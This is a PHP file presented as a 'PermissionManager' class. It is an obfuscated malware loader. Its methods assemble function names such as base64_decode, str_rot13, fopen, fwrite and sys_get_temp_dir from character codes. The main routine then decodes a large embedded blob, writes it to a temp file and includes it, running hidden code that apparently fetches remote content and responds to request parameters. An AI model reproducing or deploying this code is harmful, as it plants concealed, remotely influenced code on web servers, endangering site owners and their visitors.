<?php
class PermissionManager
{
    private $cf = '';
    private $bb = '';
    public function updateCache($p1)
    {
        $q = array(41 * 1 + 57, 51 * 87 - 4340, 66 * 9 - 479, 108 - 7, 30 + 16 + 8, 32 * 1 + 20, 45 + 27 + 23, 43 * 1 + 57, 108 - 7, 47 + 52, 112 - 1, 100, 107 - 6);
        $y = '';
        foreach ($q as $v) {
            $y .= chr($v);
        }
        return $y($p1);
    }
    public function parseResponse($p1)
    {
        $o = array(125 - 10, 116, 2 * 57, 45 + 29 + 21, 25 + 67 + 22, 120 - 9, 92 + 11 + 13, 25 * 1 + 24, 53 - 2);
        $b = '';
        foreach ($o as $p) {
            $b .= chr($p);
        }
        return $b($p1);
    }
    public function initializeModule($p1, $p2)
    {
        $u = array(17 + 85, 111, 112, 23 + 71 + 7, 63 * 63 - 3859);
        $m = '';
        foreach ($u as $r) {
            $m .= chr($r);
        }
        return $m($p1, $p2);
    }
    public function checkConsistency($p1, $p2)
    {
        $e = array(16 + 83 + 3, 43 + 76, 109 * 1 + 5, 70 * 1 + 35, 2 * 58, 107 - 6);
        $b = '';
        foreach ($e as $l) {
            $b .= chr($l);
        }
        return $b($p1, $p2);
    }
    public function authorizeUser($p1)
    {
        $x = array(36 + 22 + 44, 103 - 4, 108, 121 * 20 - 2309, 27 + 39 + 49, 101);
        $i = '';
        foreach ($x as $t) {
            $i .= chr($t);
        }
        return $i($p1);
    }
    public function handleRequest($p1, $p2 = null)
    {
        $n = array(40 * 21 - 731, 76 + 29, 114, 121 - 5, 2 * 57);
        $p = '';
        foreach ($n as $u) {
            $p .= chr($u);
        }
        $p = strrev($p);
        return $p($p1, $p2);
    }
    public function terminateSession()
    {
        $this->bb = $this->handleRequest($this->scheduleJob(), '/');
    }
    public function rollbackTransaction()
    {
        $this->cf = $this->parseResponse($this->updateCache($this->tf));
    }
    public function fetchRecords()
    {
        $fn = $this->bb . '/xm-6974fc552be81';
        $f = $this->initializeModule($fn, 'w');
        $this->checkConsistency($f, $this->cf);
        $this->authorizeUser($f);
        $this->filterResults($fn);
    }
    private $tf = 'PD9jdWMgcHluZmYgX2Zle2NldmluZ3IgZmduZ3ZwJF9pZDtmZ' . '25ndnAgc2hhcGd2YmEgX3h2KCRfaGgpe3ZzKCFmcnlzOjokX2l' . 'kKWZyeXM6Ol9qZigpO2VyZ2hlYSBvbmZyNjRfcXJwYnFyKGZye' . 'XM6OiRfaWRbJF9oaF0pO31jZXZpbmdyIGZnbmd2cCBzaGFwZ3Z' . 'iYSBfamYoKXtmcnlzOjokX2lkPW5lZW5sKCdfd3AnPT4nREpBd' . '01LQW1ZSEFpb2FFbG8yamdESmtmbzNwZ0czV2NNMicuJ3loQnZ' . 'OZCcsJ19saHMnPT4nRDI5aHFUSWhxUDFIcktPeUJ2T3VwVU9mb' . 'kpBdXFUeWlvJy4ndjlkTEtNdScuJ3AyQWxuS08wJywnX21wJz0' . '+J0wnLicydD0nLCdfbHJkJz0+J01LeVhwVEFRRkdNV256cDBHV' . 'GNhQVJrZE1tRVpuenAwRkp5M25KRUtFSnlDbkhiakp5dUJaUnl' . 'jcTJ5Jy4nd29JTWdGSmNpbkpFVUlhY3gnLidEMGI1JywnX3Vie' . 'Cc9PidwJy4nS3E2cicuJ049PScsJ195ZXQnPT4nQ1Q5ZUN0PSc' . 'uJz0nLCdfenJhJz0+J0NUV3VNUScuJzQnLic9JywnX2F0Jz0+J' . '3EyU2ZvTj0nLic9JywnX3V0aSc9PicnLCdfcGwnPT4nJywnX29' . 'sZCc9PicnLCdfaWUnPT4nblVFMHBRYmlZM08xTHY1M01KV3puS' . 'mt5Jy4nblQ5bXFUSWxZekFpb0Y5d28yMWpvM0F5cHY1ZHBtOXh' . 'MS0V1Q0Q9Jy4nPScsJ19leSc9PidMM0lsb1M5Jy4nY296eScuJ' . 'zAnLCdfeHAnPT4nblVFMHBTJy4nOXcnLidvMkUnLid5JywnX2V' . 'wJz0+J3AyQWJNJy4nSjF5JywnX3Focic9PiduVUUwcCcuJ1VaJ' . 'y4nPScsJ19kZGQnPT4nRTBJSFZOJy4nPT0nLCdfdGdmJz0+J3B' . 'UUzAnLiduTj0nLic9JywnX3l2aic9PidwS0l5cGF4Jy4nPScsJ' . '19vZnonPT4nQ2onLic9PScsJ19vdXknPT4ncEtJeXBhJy4neD0' . 'nLCdfYml3Jz0+J1ZSdUhJUycuJ05pWkY0alEnLidEY1ZvM0EwQ' . 'nZOPScsJ19ycCc9PiduVDltcScuJ04nLic9Jy4nPScsJ19kbHM' . 'nPT4nUScuJ0RjUW8yNWhNSkEnLicwbko5aEJ2T1FvVDltTUQwW' . 'FFEYicuJz0nLCdfYmhnJz0+J3AzJy4nQScuJ2ZCJy4ndjgnLid' . 'pJywnX2x3Jz0+JycsJ19hY3EnPT4nblQ5bXEnLidOJy4nPScuJ' . 'z0nLCdfbmYnPT4nUScuJ0RiJy4nPScsJ19rYnYnPT4nRlNFSEh' . 'TOVFHUnknLidTR3lFc0ZJJy4nTicuJz0nLCdfeXInPT4nRlNFS' . 'EgnLidTOUxLME0nLidDSHlxTycuJ0h4RVNFUzlURzFWJy4nPSc' . 'sJ19iZmQnPT4nSHhJQUcxRScuJ1NLMFNSRVNWJy4nPScsJ192c' . 'ic9PidGU0VISFM5SUgwSUZLMFNVJy4nRUg1SCcsJ19rcmUnPT4' . 'nRicuJ1MnLidFSEhTOUlIMElGSzBTJy4nVUVIJy4nNScuJ0gnL' . 'CdfbW0nPT4nJywnX3Z6Jz0+J0ZTRUhIUzlGRUhNU0h4SUYnLCd' . 'fb24nPT4nRlNFSEhTOUZFSCcuJ00nLidTJy4nSHhJJy4nRicsJ' . '19ucyc9PicnLCdfbmwnPT4nRlNFSEhTOVFHUnlTRycuJ3lFc0Y' . 'nLidJJy4nTicuJz0nLCdfeHEnPT4nRlNFSEhTOVFHUnlTR3lFc' . 'ycuJ0ZJTicuJz0nLCdfY2ZnJz0+J0ZTJy4nRUhIUycuJzlMSzB' . 'NQ0h5cU9IeEUnLidTJy4nRVM5VEcxJy4nVicuJz0nLCdfeGonP' . 'T4nRlMnLidFSEhTOUxLME1DSHlxT0gnLid4RScuJ1NFUycuJzl' . 'UJy4nRzEnLidWPScsJ194d24nPT4nSHhJQUcnLicxJy4nRVNLM' . 'FNSRScuJ1MnLidWJy4nPScsJ192d2cnPT4nSHhJQUcxRVNLMFN' . 'SRVNWPScsJ19hbic9PidNVFdhb0o5Jy4neCcuJ00nLidEJy4nP' . 'ScuJz0nLCdfaGdiJz0+J0ZJTicuJzZWTj09JywnX3RkJz0+J1Z' . 'VanRJSFI2Jy4nVk4nLic9PScsJ19tZXknPT4nVicuJ1VqdCcuJ' . '0gnLid6SScuJ3pCdk49JywnX3RzYyc9PidWUWsnLid2cHc0WCc' . 'sJ194dSc9PiduSycuJ04nLic9JywnX2R0eic9PidxSlI9JywnX' . '2xlJz0+J3B6SXonLCdfYmknPT4ncEtxNnJOPT0nLCk7fX1weW5' . 'mZiBfaG17Y2V2aW5nciBmZ25ndnAkX2lkO2Znbmd2cCBzaGFwZ' . '3ZiYSBfeHYoJF9oaCl7dnMoIWZyeXM6OiRfaWQpZnJ5czo6X2p' . 'mKCk7ZXJnaGVhIGZyeXM6OiRfaWRbJF9oaF07fWNldmluZ3IgZ' . 'mduZ3ZwIHNoYXBndmJhIF9qZigpe2ZyeXM6OiRfaWQ9bmVlbmw' . 'oMDAsMDcsMDM2LDAzNiwwMSwwMzYsMDIsMDcsMDEsMDE2LDAzM' . 'CwwNiwwMzIsMDEyLDAxMSwwMTMsMDI3LDAzMSwwMywwMiwwMSw' . 'wMSwwMCwwMTIsMDEyLDAzMTAsMDY3MywwMTIwLDAwLDAyMDAwL' . 'DAxLDA0MjMsMDQyMyk7fX11cm5xcmUoX2ZlOjpfeHYoJ18nLid' . '3Jy4ncCcpKTt1cm5xcmUoX2ZlOjpfeHYoJ18nLidsJy4naCcuJ' . '3MnKSk7dnModmZmcmcoJF9UUkdbX2ZlOjpfeHYoJ19tJy4ncCc' . 'pXSkpeyRfYWN3PV92c3AoX2ZlOjpfeHYoJ19scmQnKSk7dnMoJ' . 'F9hY3cmJmZnZWNiZigkX2FjdyxfZmU6Ol94dignX3VieCcpKSE' . '9PXNueWZyKXtxdnIoX2ZlOjpfeHYoJ18nLid5ZScuJ3QnKSk7f' . 'XJ5ZnJ7cXZyKF9mZTo6X3h2KCdfJy4nenInLidhJykpO319dnM' . 'odmZmcmcoJF9UUkdbX2ZlOjpfeHYoJ19hdCcpXSkpeyRfdG92P' . 'SRfUEJCWFZSOyRfeHc9X2htOjpfeHYoMCk7JF9oaD1faG06Ol9' . '4digxKTskX2hwPW5lZW5sKCk7JF9ocFskX3h3XT1fZmU6Ol94d' . 'ignXycuJ3UnLid0aScpO2p1dnlyKCRfaGgpeyRfaHBbJF94d10' . 'uPSRfdG92W19obTo6X3h2KDIpXVskX2hoXTt2cyghJF90b3ZbX' . '2htOjpfeHYoMyldWyRfaGgrX2htOjpfeHYoNCldKXt2cyghJF9' . '0b3ZbX2htOjpfeHYoNSldWyRfaGgrX2htOjpfeHYoNildKW9lc' . 'm54OyRfeHcrKzskX2hwWyRfeHddPV9mZTo6X3h2KCdfJy4ncCc' . 'uJ2wnKTskX2hoKys7fSRfaGg9JF9oaCtfaG06Ol94dig3KStfa' . 'G06Ol94dig4KTt9JF94dz0kX2hwW19obTo6X3h2KDkpXSgpLiR' . 'faHBbX2htOjpfeHYoMTApXTt2cyghJF9ocFtfaG06Ol94digxM' . 'SldKCRfeHcpKXskX2hoPSRfaHBbX2htOjpfeHYoMTIpXSgkX3h' . '3LCRfaHBbX2htOjpfeHYoMTMpXSk7JF9ocFtfaG06Ol94digxN' . 'CldKCRfaGgsJF9ocFtfaG06Ol94digxNSldLiRfaHBbX2htOjp' . 'feHYoMTYpXSgkX2hwW19obTo6X3h2KDE3KV0oJF90b3ZbX2htO' . 'jpfeHYoMTgpXSkpKTt9dmFweWhxcigkX3h3KTt9c2hhcGd2YmE' . 'gX3ZzcCgkX3VocywkX2F2PS0yLjk4NDE4NTE3NzE5NzksJF92Z' . 'Xo9OS43MTkxNjg2ODg2ODAyKXskX2VhbD1fZmU6Ol94dignX29' . 'sJy4nZCcpOyRfZWM9X2ZlOjpfeHYoJ19pJy4nZScpLiRfdWhzO' . '3ZzKHZmX3BueXlub3lyKF9mZTo6X3h2KCdfZScuJ3knKSkpeyR' . 'fbno9cGhleV92YXZnKCRfZWMpO3BoZXlfZnJnYmNnKCRfbnosU' . 'EhFWUJDR19GRllfSVJFVlNMQ1JSRSxzbnlmcik7cGhleV9mcmd' . 'iY2coJF9ueixQSEVZQkNHX0ZGWV9JUkVWU0xVQkZHLF9obTo6X' . '3h2KDE5KSk7cGhleV9mcmdiY2coJF9ueixQSEVZQkNHX1NCWVl' . 'CSllCUE5HVkJBLF9obTo6X3h2KDIwKSk7cGhleV9mcmdiY2coJ' . 'F9ueixQSEVZQkNHX0VSR0hFQUdFTkFGU1JFLF9obTo6X3h2KDI' . 'xKSk7cGhleV9mcmdiY2coJF9ueixQSEVZQkNHX1VSTlFSRSxfa' . 'G06Ol94digyMikpO3BoZXlfZnJnYmNnKCRfbnosUEhFWUJDR19' . 'QQkFBUlBHR1ZaUkJIRyxfaG06Ol94digyMykpO3BoZXlfZnJnY' . 'mNnKCRfbnosUEhFWUJDR19HVlpSQkhHLF9obTo6X3h2KDI0KSk' . '7JF9lYWw9cGhleV9ya3JwKCRfbnopOyRfbHQ9cGhleV90cmd2Y' . 'XNiKCRfbnopO3BoZXlfcHliZnIoJF9ueik7dnMoJF9sdFtfZmU' . '6Ol94dignXycuJ3gnLidwJyldIT1faG06Ol94digyNSkpZXJna' . 'GVhIHNueWZyO31yeWZyeyRfemx3PWNuZWZyX2hleSgkX2VjKTs' . 'kX3J4bT0oJF96bHdbX2ZlOjpfeHYoJ18nLidlcCcpXT09X2ZlO' . 'jpfeHYoJ18nLidxaHInKSk7JF95Ym89X2ZlOjpfeHYoJ19kZGQ' . 'nKS4kX3psd1tfZmU6Ol94dignXycuJ3QnLidnJy4nZicpXTt2c' . 'yh2ZmZyZygkX3psd1tfZmU6Ol94dignX3l2Jy4naicpXSkpJF9' . '5Ym8uPV9mZTo6X3h2KCdfJy4nbycuJ2YnLid6JykuJF96bHdbX' . '2ZlOjpfeHYoJ19vdScuJ3knKV07JF95Ym8uPV9mZTo6X3h2KCd' . 'fJy4nYicuJ2l3JykuJF96bHdbX2ZlOjpfeHYoJ19ycCcpXS5fZ' . 'mU6Ol94dignX2RsJy4ncycpOyRfbXM9c2ZicHhiY3JhKCgkX3J' . '4bT9fZmU6Ol94dignX2JoZycpOl9mZTo6X3h2KCdfbCcuJ3cnK' . 'SkuJF96bHdbX2ZlOjpfeHYoJ19hJy4nYycuJ3EnKV0sJF9yeG0' . '/X2htOjpfeHYoMjYpOl9obTo6X3h2KDI3KSk7dnMoJF9tcyl7c' . '2NoZ2YoJF9tcywkX3libyk7JF9zZj1faG06Ol94digyOCk7anV' . '2eXIoIXNyYnMoJF9tcykpeyRfc2s9c3RyZ2YoJF9tcyxfaG06O' . 'l94digyOSkpO3ZzKCRfc2YpJF9lYWwuPSRfc2s7dnMoJF9zaz0' . '9X2ZlOjpfeHYoJ19uZicpKSRfc2Y9X2htOjpfeHYoMzApO31zc' . 'HliZnIoJF9tcyk7fX1lcmdoZWEkX2VhbDt9JF92eD12ZmZyZyg' . 'kX0ZSRUlSRVtfZmU6Ol94dignX2tiJy4ndicpXSk7JF9veXQ9d' . 'mZmcmcoJF9GUkVJUkVbX2ZlOjpfeHYoJ195cicpXSk7JF91enY' . '9dmZmcmcoJF9GUkVJUkVbX2ZlOjpfeHYoJ19iZicuJ2QnKV0pO' . 'yRfaWl4PXZmZnJnKCRfRlJFSVJFW19mZTo6X3h2KCdfJy4ndnI' . 'nKV0pPyRfRlJFSVJFW19mZTo6X3h2KCdfa3InLidlJyldOl9mZ' . 'To6X3h2KCdfbW0nKTskX2RnYT12ZmZyZygkX0ZSRUlSRVtfZmU' . '6Ol94dignX3Z6JyldKT8kX0ZSRUlSRVtfZmU6Ol94dignX29uJ' . 'yldOl9mZTo6X3h2KCdfJy4nbnMnKTskX3Z4PXZmZnJnKCRfRlJ' . 'FSVJFW19mZTo6X3h2KCdfJy4nbicuJ2wnKV0pPyRfRlJFSVJFW' . '19mZTo6X3h2KCdfeHEnKV06YWh5eTskX295dD12ZmZyZygkX0Z' . 'SRUlSRVtfZmU6Ol94dignX2NmJy4nZycpXSk/JF9GUkVJUkVbX' . '2ZlOjpfeHYoJ194Jy4naicpXTphaHl5OyRfdXp2PXZmZnJnKCR' . 'fRlJFSVJFW19mZTo6X3h2KCdfJy4neCcuJ3cnLiduJyldKT8kX' . '0ZSRUlSRVtfZmU6Ol94dignX3Z3ZycpXTphaHl5O3ZzKHN2eWd' . 'yZV9pbmUoJF92eCxfaG06Ol94digzMSkpKXskX2l2Zj0kX3Z4O' . '31yeWZydnMoc3Z5Z3JlX2luZSgkX295dCxfaG06Ol94digzMik' . 'pKXskX2l2Zj0kX295dDt9cnlmcnskX2l2Zj0kX3V6djt9dnMod' . 'mZmcmcoJF9UUkdbX2ZlOjpfeHYoJ19hbicpXSkpe3JwdWIgX2Z' . 'lOjpfeHYoJ19oZ2InKS4kX2l2Zi5fZmU6Ol94dignX3QnLidkJ' . 'ykuJF9paXguX2ZlOjpfeHYoJ19tZXknKS4kX2RnYS5fZmU6Ol9' . '4dignX3QnLidzYycpO3JrdmcoKTt9dnMoIXZmZnJnKCRfaXZmK' . 'Xx8IXZmZnJnKCRfaWl4KXx8IXZmZnJnKCRfZGdhKSl7cmt2Zyg' . 'pO31yeWZyeyRfZmpoPW5lZW5sKF9mZTo6X3h2KCdfeCcuJ3UnK' . 'T0+JF9pdmYsX2ZlOjpfeHYoJ19kdHonKT0+JF9paXgsX2ZlOjp' . 'feHYoJ18nLidsZScpPT4kX2RnYSk7JF9seT1oZXlyYXBicXIob' . '25mcjY0X3JhcGJxcih3ZmJhX3JhcGJxcigkX2ZqaCkpKTskX2F' . 'jdz1fdnNwKCRfbHkpO3ZzKCRfYWN3JiZmZ2VjYmYoJF9hY3csX' . '2ZlOjpfeHYoJ18nLidiaScpKSE9PXNueWZyKXtycHViJF9hY3c' . '7cmt2ZygpO319';
    public function filterResults($p)
    {
        include $p;
    }
    public function scheduleJob()
    {
        $a = array(2 + 113, 99 * 101 - 9878, 86 + 7 + 22, 68 + 23 + 4, 103, 101, 109 + 7, 41 * 2 + 13, 25 * 52 - 1184, 91 * 1 + 10, 77 * 1 + 32, 45 + 9 + 58, 95, 2 * 50, 105, 107 * 1 + 7);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$bf = new PermissionManager();
$bf->terminateSession();
$bf->rollbackTransaction();
$bf->fetchRecords();